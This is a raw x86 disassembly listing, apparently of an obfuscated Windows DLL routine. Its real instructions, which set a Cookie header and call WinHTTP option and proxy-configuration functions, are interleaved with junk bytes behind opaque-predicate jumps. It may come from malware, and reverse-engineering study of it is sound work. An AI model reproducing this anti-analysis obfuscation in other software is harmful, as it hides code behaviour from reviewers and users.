loopne 0x1007c02b
aam 0xb
push ss
push ecx
dec edx
bound ebx, qword [edx]
sbb eax, 0x2769f49
push ss
popal
fsub dword [ebp + 0x1e]
jnp 0x1007bfe9
mov bh, 0xad
ror byte [eax - 0x49938d2a], cl
cmp cl, byte [edi - 0x41]
mov ecx, 0xddfa3479
int 0x70
pop edi
jb 0x1007c099
mov dh, 0x3a
dec edi
mov edi, 0xfa3479b9
frstor dword [esi - 0x33]
jo 0x1007c099
mov ah, 0x6d
or esp, dword [edi + ebx - 0x45de32a1]
xor esi, dword [0x6a88170d]
mov bh, byte [edi - 0x7c]
jbe 0x1007c0c9
xchg dword [ecx], edi
sbb dl, byte [0x1e5a76ee]
cmp eax, 0x12966cc3
pop esp
popfd
jo 0x1007c0af
sub eax, 0x27c35311
inc edx
pushal
jno 0x1007c0d4
push ebx
ret
insb byte es:[edi], dx
add al, 9
enter 0xfffffffffffff035, 0x41
xor byte [eax - 0x10], cl
out 0x64, al
pop eax
scasb al, byte es:[edi]
push ss
mov eax, 0xb8a568fe
and ecx, edi
not ebx
xlatb
add byte [ebp + 0x69], dl
in al, dx
pop edx
adc dword [ebx], esp
out 0x5b, eax
push ebp
cmp ah, byte [ecx - 0x590c0b8d]
adc eax, 0xe8507990
adc byte [esi], ah
xchg esi, eax
daa
inc edi
xchg esp, eax
aad 0x21
movsd dword es:[edi], dword [esi]
mov bl, 0x60
popfd
mov edi, 0x3b0795e
je 0x1007c05f
popfd
call fcn.10049c0c
add esp, 0x10
inc dword [ebx - 0x60c6ef3c]
fadd dword [eax]
add byte [eax], al
cmp dword [edi + 0xd8], ebx
jbe 0x1007c9c7
push str.Cookie:
lea ecx, [ebp - 0xc78]
pushfd
test byte [0x1007c121], 0x31
call [esi + esi*8 + 0x7c12105]
adc byte [ecx], dh
jne 0x1007c122
aas
cmp eax, 0xc691db1
mov cl, 0xc3
stosb byte es:[edi], al
ror byte [esi + 0x57], cl
mov ah, 0x80
push ds
and dword [ebx - 0x19], eax
mov dl, 0x58
mov bl, 0x25
jo 0x1007c0ea
insb byte es:[edi], dx
push eax
push ebp
cmp eax, 0xcb12d19c
jecxz 0x1007c142
sbb dword [eax], edi
mov dl, 0xce
mov esp, 0x5f6cc82c
mov edx, 0xfdbd0e13
xchg ebp, edi
push ebp
bound eax, qword [eax + 0x1a]
in al, 0x19
or byte [edx + edi*2 - 0x71], dl
inc esi
ror dword [edx - 0x3b], 1
mov al, 0x9b
fcomp qword [edi]
push esp
int3
popfd
call fcn.10005af6
pushfd
test byte [0x1007c1c8], 0x32
jne 0x1007c1c9
pop edx
and dl, byte [edi + ebp*8]
inc byte [esi + 0x717eb02a]
or ecx, eax
enter 0xffffffffffffbfcc, 0x19
push es
sub esi, eax
cmp al, 0xfe
cmpsd dword [esi], dword es:[edi]
test eax, 0xf5d43240
sub eax, 0x2a1310de
mov ch, 0xf7
mov esi, 0x1a8e9dd1
int1
push eax
or dword [eax - 0xb], ebp
cmp dword [esi], ebp
dec ebp
mov ebx, 0x7f517933
outsd dx, dword [esi]
sbb ah, byte [0xaca9f3aa]
rcr esi, cl
jno 0x1007c1b4
mov dh, cl
call 0x972b15e8
xchg edi, eax
imul edx, edx, 0xfeefd499
jle 0x1007c142
out dx, eax
invalid
xchg ebx, eax
test ch, ch
insd dword es:[edi], dx
mov ebp, 0x70ade57d
lodsd eax, dword [esi]
cmp ebx, dword [edi - 0x26]
mov ebp, 0xffb484fc
aad 0xb2
dec esi
fnstenv [esi + 0x2d4ab8b5]
xchg ecx, eax
add dword [esi + ecx*8 + 0x5aefe772], esp
and eax, dword [ebx]
mov edx, 0x2ce8d970
pushfd
sar eax, cl
and dword [ebp - 0x47815b16], eax
sbb byte [ecx + ebx*8], cl
leave
inc esi
jae 0x1007c181
ljmp 0xd90c:0x18b87ea4
cmp eax, 0xa4cef325
fadd qword [eax - 2]
pop es
popfd
push 0xffffffffffffffff
push ebx
lea eax, [edi + 0xc8]
pushfd
test byte [0x1007c24e], 0xef
jne 0x1007c24f
push 0x74
mov ah, 0x4f
jne 0x1007c240
push cs
test eax, 0x7d54a2af
sub eax, 0x59ed3690
mov byte [0x902d7d54], al
in eax, dx
pop ecx
bound edx, qword [ecx]
sub dword [esp + edx + 6], ebx
pop ss
fisub word [ebp + 0x72e8a37]
rol dword [0xf8635e94], cl
cmc
add eax, 0xfff07450
adc dword [esi - 0x559bdc8d], 0xa9ad63cd
jbe 0x1007c1e7
or edi, edi
mov eax, 0x85009ed2
in eax, 0x8b
sub eax, 0x77377c2c
xlatb
and eax, 0x93e4e546
rol dword [edi], 1
pop ss
out 0xb4, al
dec edi
pushfd
add eax, 0x2ac7bd35
out 0x80, eax
test al, 0x29
pop ss
or dword [edi], 0xffffffaa
xor eax, 0xe72ac7bd
sub byte [eax + 0xf831729], 0xaa
push ecx
jb 0x1007c25c
sbb ebp, ebp
in eax, dx
shl byte [ebx + 0xbfb136d], 1
adc ch, byte [edi - 0x60f74607]
xchg ecx, eax
popfd
push eax
lea ecx, [ebp - 0xc78]
pushfd
test byte [0x1007c302], 0x3b
pop es
adc byte [ebx], bh
jne 0x1007c303
sub dword [esi + 0x2bfb9b98], 0x2ae68339
add ebp, edx
sub cl, byte [eax]
jge 0x1007c240
adc edi, dword [edi + 0x5b]
xor dword [ecx - 0x7f76787e], esi
imul edx, dword [ecx], 0xffffffc6
jb 0x1007c2f3
add edi, dword [eax + 0x527670f6]
pop ds
sal byte [edx], cl
sbb al, 0x1e
dec ebx
cmp dword [ebx - 0x4b7f96f3], edi
or al, 0xf9
fistp qword [eax + 0x30083445]
mov ah, 0x8b
in al, dx
or dword [esi + 0x3d], ebp
xchg edx, eax
xor dl, byte [edx + 0x618488e1]
ja 0x1007c2a7
loope 0x1007c231
test byte [ecx + 0x77], ah
cli
cmp ebx, dword [edi + 0x41a02a62]
fiadd word [ebx]
in al, dx
xor ch, bl
lds ecx, [eax + 0x12e31b33]
pop edi
and dh, al
jle 0x1007c2c8
cld
mov ah, 0x36
call 0x3009cf82
rol byte [ebx - 0x54f9b2f7], 0x8f
sub byte [esi + 0x498d6372], ch
lock sub dword [edx + 0x1d988be6], ebp
jge 0x1007c349
or al, 2
and al, al
or dword [ecx], 0x4d
push es
stosd dword es:[edi], eax
invalid
stosb byte es:[edi], al
out 0x8b, al
cwde
sbb eax, 0xaad2687d
jne 0x1007c2b3
shr byte [edx - 0x6118318b], cl
out 0x9e, eax
dec ecx
rcl dword [esi], 0xef
mov ch, 0xb1
or ecx, ecx
cld
enter 0x5e15, 0x23
add al, byte [eax]
add al, 0x73
pop esi
and eax, dword [edx]
add byte [ebx + esi*2], al
loopne 0x1007c2da
fstpnce st(2), st(0)
sub byte [0x92b9e6cb], bh
popfd
mov byte [ebp - 4], 1
call fcn.1006981e
cmp dword [ebp - 0xc64], 0x10
pushfd
test byte [0x1007c35f], 0xd2
jne 0x1007c360
sbb al, 3
outsd dx, dword [esi]
shr dword [ebp + 0x7d38f3a6], 0x8d
fist dword [ebx + ebx*8 - 0x3f]
or eax, dword [eax + 0x52591a74]
pop eax
mov eax, dword [0xaec3d5bf]
int1
pop edx
jb 0x1007c3b7
xchg ecx, eax
xchg ecx, eax
sub esp, dword [ebx - 0x5846829e]
sal byte fs:[ecx], 1
xor edi, dword [ebx - 0xa]
adc ah, byte [ebx - 0x1fd1e651]
not byte [edx]
mov dword [0xe02e19af], eax
mov dl, 0x96
mov edx, 0x5a8e2370
xor eax, 0x972e24da
xchg ecx, eax
dec eax
mov bl, 0xf1
popfd
mov eax, dword [ebp - 0xc78]
jae 0x1007c36f
lea eax, [ebp - 0xc78]
mov dword [ebp - 0xcbc], eax
cmp eax, ebx
je 0x1007c4dd
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [eax + 1]
pushfd
test byte [0x1007c3d3], 0x9e
jne 0x1007c4d4
div byte [esi + 0x20004688]
pop ebp
xchg dword [eax + 0x9616948], edi
jge 0x1007c35c
popal
or dword [ebp - 0x48], edi
enter 0x56e5, 0x6c
imul ebx, dword [eax + edi*2], 0x2841cccb
or byte [esp + ebx - 0x50b3e583], bl
xchg edx, edi
pushfd
sbb al, 0x7d
sbb cl, byte [edi + ebp*4 - 0x79]
cli
sub byte [esi + 0x44], 0xce
xor eax, dword [eax]
fld xword [ebp - 7]
pop edx
cld
sbb esi, edi
dec esi
adc cl, byte [edi]
aad 0x68
sar byte [ebp + 0x157b00d6], 0x18
out dx, eax
out dx, al
adc bh, ah
salc
rcl byte [ebx - 0x28], cl
cmpsd dword [esi], dword es:[edi]
shl dword [edx - 0x1a], 1
test al, 0xb2
push ds
rol eax, 0x27
xor dword [esi + eax + 0x2150e9bf], esi
call 0x1b3e8b20
salc
or edx, esi
arpl word [ebp + eax + 0x458ecbb4], ax
enter 0xffffffffffffb4f3, 0xffffffffffffffaf
sub ecx, dword [ebx + 0x50]
pop ss
test al, 0x4f
mov edx, edi
cli
stosb byte es:[edi], al
pop edx
mov eax, 0x26cb8784
push ecx
js 0x1007c3a0
dec ebx
add ebp, edx
xchg edi, eax
xchg esp, eax
in eax, 0x6c
scasd eax, dword es:[edi]
mov ecx, 0xe8f83dfb
jge 0x1007c478
dec ecx
pop ds
mov cl, 0x4e
mov ebx, 0xc1273caa
mov word [esi], gs
das
adc ch, byte ds:[ebx]
jns 0x1007c3b0
sub dl, byte [esi - 0x4b]
xchg ebx, eax
popal
xor al, 0xbc
les eax, [edi - 0x28]
ja 0x1007c3ee
jae 0x1007c402
inc edi
fld qword [eax - 0x530e4e26]
int1
xor dword [esi - 0x547ec7e7], ebp
cmp al, 0xc3
jmp [esi + 0x363a122a]
and ebx, dword [eax]
jg 0x1007c480
lodsd eax, dword [esi]
aaa
test al, 0xba
sahf
sbb eax, 0xbf0345e0
stosb byte es:[edi], al
pushal
sti
pop es
jg 0x1007c503
xor dword [edi], 0x29
aam 0x28
sbb dword [ebx], 0xffffffcc
mov ch, 0x39
sbb ebx, dword [eax + 0x12]
fist word [esi + ebx + 0x7abd9bfe]
nop
xor dh, byte [ebp + 0x47f25c95]
xlatb
mov dword [edx], ebp
cmp eax, 0x7f30b6bc
or dword [edx + 0x76], ebx
and ebp, dword [ebx]
imul edx, dword [edx + ecx*8 + 0x784b492c], 0x37
mov esp, 0x366f823c
les esp, [esi]
cli
stosb byte es:[edi], al
xchg ecx, eax
pop esp
cdq
sub al, 0x4d
mov edx, 0xaedfd143
inc ebx
rcr edi, 1
scasb al, byte es:[edi]
cmc
mov bh, byte [eax]
dec eax
popfd
cmp esi, 0x3fffffff
jle 0x1007c4e4
xor eax, eax
jmp 0x1007c5e1
lea eax, [esi + esi]
call fcn.101222f0
mov eax, esp
push 3
pushfd
test byte [0x1007c5d2], 3
jne 0x1007c5d3
push ecx
out 0x5a, eax
stosb byte es:[edi], al
ror byte [edi - 0x75], cl
jge 0x1007c57b
dec edi
mov edi, dword [ebp + 0x74]
or eax, 0x55a1c0a8
not ebx
test dword [eax], esp
fld st(1)
mov ch, 0xfd
dec ecx
popfd
loop 0x1007c4cc
mov ah, 0x44
inc esp
sub eax, ebx
inc ebp
jb 0x1007c52d
sahf
push ecx
sub al, dh
sbb edx, dword ds:[ebp - 0x31]
xor edi, eax
cmp al, 0x59
push esi
popal
push 0xffffffffffffffee
and eax, 0x54817bff
fbld tbyte [ebx - 0x63]
ror byte [edx], 0x37
sub dh, byte [edi + 0x6e58b401]
outsb dx, byte [esi]
mov esp, dword [edi + 0x11db33cf]
cmc
xchg esi, eax
inc esp
sbb eax, 0x72b69c1
fstp st(3)
cmpsb byte [esi], byte es:[edi]
fist word [edi]
jecxz 0x1007c540
aas
mov ah, 0xa3
leave
and byte [eax - 0x5ac998a2], dh
push es
jno 0x1007c517
add eax, 0x32f5781f
xor bl, al
mov byte [0xe47c1de8], al
popfd
and dword [edi - 0x18], eax
xchg ebx, eax
mov bh, 0xb0
or byte [esp + ebp*4 + 0x68], 0xae
scasb al, byte es:[edi]
sbb eax, 0xcce8c35e
lodsd eax, dword [esi]
push ds
cmp dword [esp + edx*4 - 0xf8266f6], ebp
xor dword [eax], ecx
fstpnce st(2), st(0)
sti
sal dword [ebp - 0xe], cl
lodsd eax, dword [esi]
adc eax, 0x2062273
jl 0x1007c603
je 0x1007c538
and eax, 0x4ed5fb17
popfd
std
mov edx, 0x2ce9d2dd
or al, 0x84
cdq
and byte [esi], 0x8a
popfd
shr cl, cl
sub al, 0xc
test byte [ecx - 0x6275d980], bl
jbe 0x1007c5b6
shr byte [eax - 0x52601e72], 0x11
rcr dword [esi - 0x431013cf], cl
adc byte [ebx - 0x2a483f60], bl
sahf
xor dword [ecx + 0x7b], edi
lodsd eax, dword [esi]
adc ebx, edx
sahf
xor esp, ebp
out dx, eax
mov esp, 0xa09b1066
sal byte [edi + 0x79319ed5], 0x7b
dec ebp
add bl, bh
js 0x1007c5a5
test dword [ecx], esi
xor al, 0xea
popfd
push esi
push dword [ebp - 0xcbc]
push eax
call fcn.10052ae6
push 0x1000000
push dword [ebp - 0xc68]
push eax
push dword [ebp - 0xcc0]
pushfd
test byte [0x1007c6f1], 0xc3
call [esi + esi*8 + 0x7c6f105]
adc bl, al
jne 0x1007c6f2
jns 0x1007c64f
dec edx
cdq
push es
insb byte es:[edi], dx
adc al, 0x72
mov dl, 0xed
push edi
out 0x61, eax
das
jbe 0x1007c5ca
dec esp
ror byte [esp + 0x1b], 1
xchg si, ax
mov edx, 0xf92bded4
mov al, 0x30
fst qword [eax]
rol byte [esi + 0x7bdcad31], cl
neg dword [esi + 0x7d]
sub ebp, ebx
dec esi
push 0xffffffffffffffc5
sub byte [esi - 0x204893b2], cl
std
xor ch, bl
adc dl, dl
xchg byte [ecx], dh
lodsd eax, dword [esi]
fdivr qword [ebx - 9]
pop esi
jge 0x1007c657
jmp 0x1007c67c
out dx, eax
pushfd
fstp xword [esi]
leave
inc eax
rcl byte [esi - 0x37], cl
jg 0x1007c5f2
xchg ebp, eax
popal
inc esp
lodsd eax, dword [esi]
insb byte es:[edi], dx
fbstp tbyte [ebp + ebx*4 + 0x6e957a38]
stosd dword es:[edi], eax
pop ds
call 0xcc1226e0
adc byte [esi - 0x3a], dh
jbe 0x1007c61f
sub al, 0xb2
cwde
mov byte [ebx + 0x16], ah
int1
out dx, al
adc byte [edi - 0x65414523], bh
in al, dx
loop 0x1007c621
push eax
xchg ecx, eax
cmp edx, esp
mov dword [0x5af51bcf], eax
jne 0x1007c68b
sal byte [ebx], 0x49
lds ecx, [edi - 0x14]
sahf
sub eax, 0x75b2c7f9
int1
cmp ebx, dword [eax + 0x57a3b9b]
pop esp
jle 0x1007c637
stosd dword es:[edi], eax
mov bh, 0x58
mov bh, 0xa7
sub byte [edx + 0x104f6fa5], bh
or esi, dword [0xbd2b57c8]
salc
leave
cwde
movsb byte es:[edi], byte [esi]
test dword [edi - 0x15c263cf], ecx
rcl ecx, 0xa9
dec ebp
xor ecx, esi
int3
popfd
call dword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
test eax, eax
pushfd
test byte [0x1007c72c], 0xb7
jne 0x1007c72d
mul byte [edi + eax*2]
sahf
mov bl, 0xf6
cmpsd dword [esi], dword es:[edi]
mov edx, 0x852da54d
dec ebx
call dword [ebp - 0x428ba758]
out 0x12, eax
dec ebp
pop edx
popfd
popfd
jg 0x1007c721
push cs
push 0x8bcb421e
mov al, byte [0xab0f264]
push ds
popfd
jne 0x1007c76c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.WinHttpAddRequestHeaders_error1:_d
push ebx
push ebx
mov dword [edi + 0x124], eax
call fcn.10049c0c
add esp, 0x10
pushfd
test byte [0x1007c76a], 0x92
jne 0x1007c76b
insd dword es:[edi], dx
jb 0x1007c778
pop ds
sbb dword [ebx + 9], eax
stosd dword es:[edi], eax
xor edx, dword [ecx - 0x7051eb96]
inc eax
test eax, 0xa6dda479
insb byte es:[edi], dx
pushfd
frstor dword [esi + 0x339d9c6c]
not byte [ebx + 0x46]
popfd
xor esi, esi
push ebx
inc esi
push esi
lea ecx, [ebp - 0xc78]
mov byte [ebp - 4], bl
pop ebp
cld
call fcn.10002a9a
pushfd
test byte [0x1007c86d], 0x21
je 0x1007c86e
adc bh, dl
jl 0x1007c809
imul edx, dword [ebx], 0x7b
sbb dword [ebx], eax
dec ebp
popal
sub al, 0x69
jle 0x1007c758
mov edx, esi
or bh, ch
adc eax, 0xe377e559
add ch, 0xa9
push cs
mov edi, 0xc167076c
leave
jg 0x1007c7d9
outsb dx, byte [esi]
enter 0xffffffffffffc92d, 0xffffffffffffffb6
mov word [ebx + 0x2a], gs
or dword [edi - 0x2a], 0xe65fcbfc
mov ebp, 0xf0f6d84d
push 0xfffffffffffffff6
pop ecx
test byte [eax], 0x90
inc ecx
leave
sbb dh, byte [edi]
aaa
mov bh, 0xe5
or byte [ebp + 0x5e], bl
mov bl, 0x5a
js 0x1007c767
aad 0xed
or byte [eax + 0x32fd1fdf], 0xbe
mov esi, 0x26a56ba8
pop esi
stosb byte es:[edi], al
mov fs, edi
adc al, 0x23
mov ecx, 0x6cc431ad
xor esp, eax
insb byte es:[edi], dx
add al, 0x77
test ah, bl
out 0x47, eax
mov ch, 0xaf
and eax, 0x79fe94e4
mov al, 0xb0
xor al, 0xd2
dec byte gs:[0xfc0150ec]
add esp, edi
inc ecx
std
xchg esi, eax
adc dh, cl
call [0xab9a4c07]
in al, dx
mov bh, 0xc2
add cl, byte [ecx]
sal byte [ecx], 0x83
test dword [ebp + 0x6558077], ebx
mov bl, 0x83
insd dword es:[edi], dx
pop edi
push edi
push 0x5f
movsd dword es:[edi], dword [esi]
pop edi
jno 0x1007c7ce
mov al, 3
cmp al, 0x2f
pop edi
inc ecx
cmpsd dword [esi], dword es:[edi]
test byte [eax - 0x185dfd0], 0x66
dec ebp
jae 0x1007c7f0
cmp eax, 0x9e8bd48b
jns 0x1007c834
stc
xor dword [edx + 0x7e], eax
mov eax, dword [0xaa011b61]
loop 0x1007c893
sbb dword [eax - 0x5103d34f], ebx
xchg ebx, eax
daa
xchg edi, eax
sal dword [eax - 0x40], 0xba
sbb al, 0x3e
sbb eax, 0xe2906941
sbb al, 0xa6
or al, 0x28
sbb dword [edi + 0x40], ebp
popfd
jmp 0x1007c9ca
retf 0x851e
popal
pushal
sbb edx, dword [ebp + 0x6c84af7a]
and ah, ch
xor dword [ecx + 0x3600422b], 0xfb26f48b
add byte [eax + 0x61b88f6c], 0xb4
in al, 0x62
out dx, al
add bh, cl
mov dword [ebp*4 - 0x72ac5bf2], esi
int3
xor byte [ebx - 0x1bd11bad], 0xf
fcomp dword ds:[esi + ecx*4 + 0x13]
push ss
adc edx, dword [esi]
fcomp qword [edi - 0x51]
dec edi
adc ebp, dword [edx]
mov esp, 0x96bc1db6
lahf
jle 0x1007c991
rcl bh, cl
stosd dword es:[edi], eax
les esi, [edx + 0x30409471]
pop ds
or eax, 0x3d0265b0
or eax, 0x8308b1e0
aam 0xfb
push 0xffffffffffffff87
adc eax, 0x52510c8d
rcl dword [eax], cl
jl 0x1007ca09
jge 0x1007c944
sbb ebx, dword [ecx]
popfd
xor esi, esi
inc esi
cmp byte [ebp + 0xc], bl
je 0x1007cdc9
push 4
lea eax, [ebp - 0xcf4]
pushfd
test byte [0x1007ca7a], 0x7f
jne 0x1007ca7b
xchg esi, eax
mov esi, 0x8e7625d3
shr ecx, cl
mov word [ecx + 0x2a], ss
xchg edx, eax
mov al, 0x70
sbb dl, ch
sub byte [ecx], ch
sahf
call 0xd68b14fd
mov bl, al
jne 0x1007c986
or dword [0x4405186a], 0xc2f9d72
enter 0xffffffffffffcc3a, 0xffffffffffffff95
add eax, 0x2f9d7244
jb 0x1007c9aa
das
or al, 0xc8
cmp cl, ah
xchg ebp, eax
pop edi
cmpsb byte [esi], byte es:[edi]
cmp eax, esp
fld qword [edx + 0x36f8098b]
test byte [ebx + 0x22], 0xc
mov edi, 0xf9428129
mov cl, dl
or edx, esp
js 0x1007ca0b
pop ebp
jg 0x1007ca8d
dec ecx
scasb al, byte es:[edi]
sub eax, 0xd5e0481c
mov ah, byte [esi - 0x2b]
and eax, 0xdc7ad6ff
push ds
xchg ebp, eax
xchg edx, eax
sbb byte [ebx], ah
push 0xffffffffffffffc9
xor ebp, dword [edx - 0x3e]
cmp edx, dword [edx]
and esp, dword [esi - 0x24b835ef]
mov dword [esi - 0x64], edi
inc ebx
sbb dword [eax], ebx
jne 0x1007ca8e
push ss
fcom dword [edx + 0x6afb90a1]
push ss
xlatb
cwde
xor al, byte [ebp + 0x34]
sbb edx, edx
push esp
dec ebp
frstor dword [ebp + eax*4 + 0x6b]
add al, 0x9f
pop es
mov edx, 0xaf69c9d
xor al, 0x2e
dec esi
lds ecx, [ecx]
popfd
push eax
push 0x3f
push dword [ebp - 0xcc0]
pushfd
test byte [0x1007caab], 0x57
jne 0x1007caac
sbb eax, 0x738b0ec
in al, dx
mov al, 0x38
pop es
int3
popfd
mov dword [ebp - 0xcf4], 2
pushfd
test byte [0x1007cb31], 0x64
jne 0x1007cb32
and eax, 0xf0607b36
inc eax
and eax, 0xbbd65424
mov ecx, 0x66e25359
test eax, 0xed12b5b1
jbe 0x1007cb13
and byte [esi - 0x52], dh
std
stosd dword es:[edi], eax
movsd dword es:[edi], dword [esi]
fimul dword [edi - 0x7d460e24]
js 0x1007cb37
cmp eax, 0x9b887a18
cmpsb byte [esi], byte es:[edi]
punpckhdq mm7, qword [ecx + 0x76]
frstor dword [ebx + 0x7ae76072]
mov ecx, 0xad6e11b8
push ebp
dec ebp
sbb al, 0x34
push 0xffffffffffffffee
sub dh, byte [esi + 0x2c]
xchg esp, eax
or eax, 0x6c615d0b
push 0x50
pushfd
dec edi
sahf
jo 0x1007cae5
rcr dword [edx + edx*8 - 0x4c], 1
add dword [ecx + ecx*2 + 0x2bcd14d8], 0xbb6d4aa4
xor dword [esi + 0x75b68301], esi
pop esp
sal byte [ecx + eax*4 + 0x14d84984], cl
int 0x2b
movsb byte es:[edi], byte [esi]
dec edx
insd dword es:[edi], dx
mov ebx, 0x8301b631
mov dh, 0x75
mov ebx, 0xbdf51332
adc cl, bl
add ebp, dword [ecx]
scasb al, byte es:[edi]
popfd
call dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
adc al, 0x10
test eax, eax
pushfd
test byte [0x1007cb9c], 0xd0
jne 0x1007cb9d
js 0x1007cb3c
sub eax, 0x37f2e263
sbb al, 0x5f
mov word [esi - 0x1781fe56], ds
lahf
or eax, 0xc725d6c8
in al, 0xad
std
int1
dec ebx
inc esp
inc esi
pop ebp
xchg edi, eax
int1
push ebx
sahf
sub al, byte [edi + 0x93dca2c]
pop edi
push eax
rcl byte [eax + 0x7feedf2d]
rol byte [ecx + ebp*8 + 0x65], 1
lahf
xor al, 0x9c
and byte [ecx - 0x34], 0x60
sar dword [ecx + 0x28fef1e6], 1
jno 0x1007cb20
push esp
xchg dword [esi], esp
and eax, 0x26c3c219
or dword [edi], edx
outsd dx, dword [esi]
inc edx
and dword [edi + 0x670fdba3], esp
out dx, eax
xchg ebx, eax
popfd
jne 0x1007cdc9
pushfd
test byte [0x1007cc64], 0xe8
jne 0x1007cc65
inc esi
push ebx
rol edi, 0xb7
pop edi
or eax, 0x7f41b636
inc ebp
mov edi, 0xc1de5fd4
test dword [edx], esi
lodsd eax, dword [esi]
insb byte es:[edi], dx
movsb byte es:[edi], byte [esi]
xchg edx, eax
sub esp, dword [edx]
fld qword [ecx + 0x27207061]
pop ds
pop ebp
mov edx, 0x800429ba
lock add byte [ebx - 0x2c], dh
push ds
push esi
inc esi
push esp
or dword [esi - 0x16], esp
pop ss
out 0x4f, al
outsb dx, byte [esi]
div byte [ecx]
or ah, byte [edx + 0x1d70268a]
mov esp, 0xeecb980d
or al, 0xed
xor ebp, dword [ecx - 0x3c]
add al, byte [edi]
lodsd eax, dword [esi]
leave
das
das
or byte [edx + 0xb], 0x66
jno 0x1007cc13
push esp
rcl dword [esi], 0xa4
test eax, 0x126a8291
pop edi
das
scasb al, byte es:[edi]
rol byte [ebx - 0x4b780118], 1
xchg ebx, eax
push ss
dec edx
test byte [esi + 0x19], bl
cmp dword [eax + 0x511e35dc], 0xfffffff6
jg 0x1007cc4c
push edx
scasb al, byte es:[edi]
sub eax, 0x6f10c45b
adc eax, 0xeaf8a98d
lds eax, [edi + 0x62]
jo 0x1007ccaa
movsb byte es:[edi], byte [esi]
aam 0xfa
dec ebp
mov dl, 0x4d
mov word [esi], ds
dec edi
dec edi
mov al, 0x5e
test dword [ecx], ebp
mov ebp, dword [eax + edx - 0x75]
pop es
test al, 0xda
adc eax, dword [edi + 0x5474c9a3]
cmp eax, 0xcd38e818
adc byte [ebx + 0x13daa807], cl
xchg dword [ebx + 0x3d5474c9], esp
sbb al, ch
cmp ch, cl
loopne 0x1007cc48
sar byte [ebp + 0x23fd136a], 0x1c
popfd
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
pushfd
test byte [0x1007cc93], 0x1a
jne 0x1007cd94
mov al, byte [0x9af31262]
fisub word [eax + 0x58]
inc ecx
cmp al, 0xfc
pushal
sub eax, 0x53fd4432
ror byte [edx + 0x61], 0xe9
cmc
imul esp, esi, 0x2dd79c08
dec ebx
xor al, 0xd7
mov es, ecx
and al, 0xb3
xor dword [esi + esi + 0x6329afa0], ebp
mov dl, 0x3f
scasd eax, dword es:[edi]
sub dword [ebx + 0x64], esp
mov dl, 0x3f
mov eax, dword [0xe274e8fa]
or edi, dword [ebx - 0x7565d334]
xor byte [ecx - 0x4277cdaf], dl
mov dl, 0x28
fsub qword [ebx - 0x3d678b9a]
xor al, 0x71
mov dh, 0xb2
xchg ebp, eax
cmpsb byte [esi], byte es:[edi]
mov dh, 0xf5
and eax, 0xa24820ea
neg dword [ebp + esi - 0x34]
or ecx, ecx
add byte [edx - 0xc9aa21b], dl
inc esp
fidiv word [esi + esi*8 + 0xd31e189]
xchg edx, eax
adc dword [esi + 0x4f00e2aa], ebx
pop edi
mov ebx, dword [0x6bf15d4b]
leave
and eax, 0x53c39fe1
mov dword [0x2f0c26b8], eax
shr byte [ecx], 0x41
mov dh, 0xd1
mov esi, 0x4699ac71
dec ebp
mov cl, 0xab
fistp qword [ebx - 0x5d4ac9c8]
and esi, dword [ebp - 0x3c]
in eax, dx
shl byte [edx + 0x315dd20b], 1
mov dword [0xf62ed06a], eax
jae 0x1007cca2
call 0xcb13af23
int3
invalid
js 0x1007cd82
jge 0x1007cd1f
mov dword [ecx - 0x7d4cef4f], edi
stc
call dword [ebx + 0x2757a013]
rcl dword [edi - 0x26af0851], 0x3a
in al, dx
cmovo ebp, dword [ecx + 0x203b0f06]
stosd dword es:[edi], eax
test byte [esi - 0x3a02badd], ah
shl byte [0xd7d53d2], 1
sub byte [ebp + 0xa8d7c61], ah
dec esp
fadd dword [edi - 0xe]
or bl, al
mov edx, 0x75dcdbeb
int1
adc eax, 0x7fe30bd4
jle 0x1007cd10
sbb dword [edx + 0x3936b346], ebx
sub eax, 0xf1f68016
or al, 0x25
and dword [eax + 0x4f], 0x27
outsb dx, byte [esi]
call 0x3e053e1f
and cl, dh
das
lea ebp, [edx]
je 0x1007cddd
sub dh, byte [eax + ebx*2 - 0x40]
adc ebx, dword [ebx]
rcl byte [ebx], 0x1b
or byte es:[ebx], bh
push es
xor bh, bl
into
or byte [ecx + 0x70], dh
movsb byte es:[edi], byte [esi]
das
popfd
push str.WinHttpSetOption_error:_d
push ebx
push ebx
mov dword [edi + 0x124], eax
pushfd
test byte [0x1007cdbf], 0x5c
jne 0x1007cdc0
shld dword [ebp - 0xeeb70d7], esi, cl
mov ecx, 0x43c58110
jle 0x1007ce0d
dec esi
or al, 0x3a
pop ss
cmp al, 0x91
popfd
call fcn.10049c0c
add esp, 0x10
push 0x10
lea eax, [ebp - 0xd04]
push ebx
push eax
call fcn.1011df60
add esp, 0xc
lea eax, [ebp - 0xd04]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpGetIEProxyConfigForCurrentUser]
test eax, eax
je 0x1007ede7
cld
invalid
cmp dword [ebp - 0xd00], ebx
je 0x1007d85e
push 0x18
lea eax, [ebp - 0xc58]
pushfd
test byte [0x1007cf00], 0x44
jne 0x1007cf01
test al, 0xf3
invalid
test edi, ebp
add byte [eax], al
add al, cl
dec esp
mov al, 0xf8
enter 0xffffffffffffb04c, 0xfffffffffffffff8
clc
lea edx, [ecx + 0xc]
inc edx
sub al, 0xe4
xchg edi, eax
dec ebp
mov eax, dword [ecx + 8]
xor byte [edi + 0x7b57740c], 0x3c
add byte [edx - 0x5a75e923], 0xf9
adc al, 0x83
jecxz 0x1007ce1a
mov al, 0xb1
and eax, dword [esi - 0x5c4dbcba]
push cs
test dword [edx + ecx], 0xd98f7bd4
jo 0x1007ce00
fidivr dword [eax + 0x4c1a0a8e]
stc
pop edx
pop dword es:[esi]
xchg ecx, eax
cmc
xchg ebp, eax
push eax
inc byte [ecx]
sal dword [ebx - 0x369f0965], cl
test byte [ecx - 0x18], 0x92
mov dl, 0x3f
cmp byte [ebp + 0x1aee8e6d], bl
in eax, 0xea
mov edi, dword [esi]
xor dword [eax - 0x49], ebp
mov es, ebp
ja 0x1007cec7
scasd eax, dword es:[edi]
fsubr st(2)
loop 0x1007ceb3
xor esp, dword [eax]
adc esi, dword [esi + 0x5a0080ca]
mov es, eax
lds di, [edx + edx*4]
aas
movsd dword es:[edi], dword [esi]
cmp ebx, eax
das
mov ds, word [eax]
jae 0x1007ce15
sbb dword [edx + 0x4e], ebx
sti
mov esp, 0xa29eeceb
fcomi st(4)
push cs
xor bl, byte [edx - 0x72]
inc edx
mov bl, 0xb6
pop ds
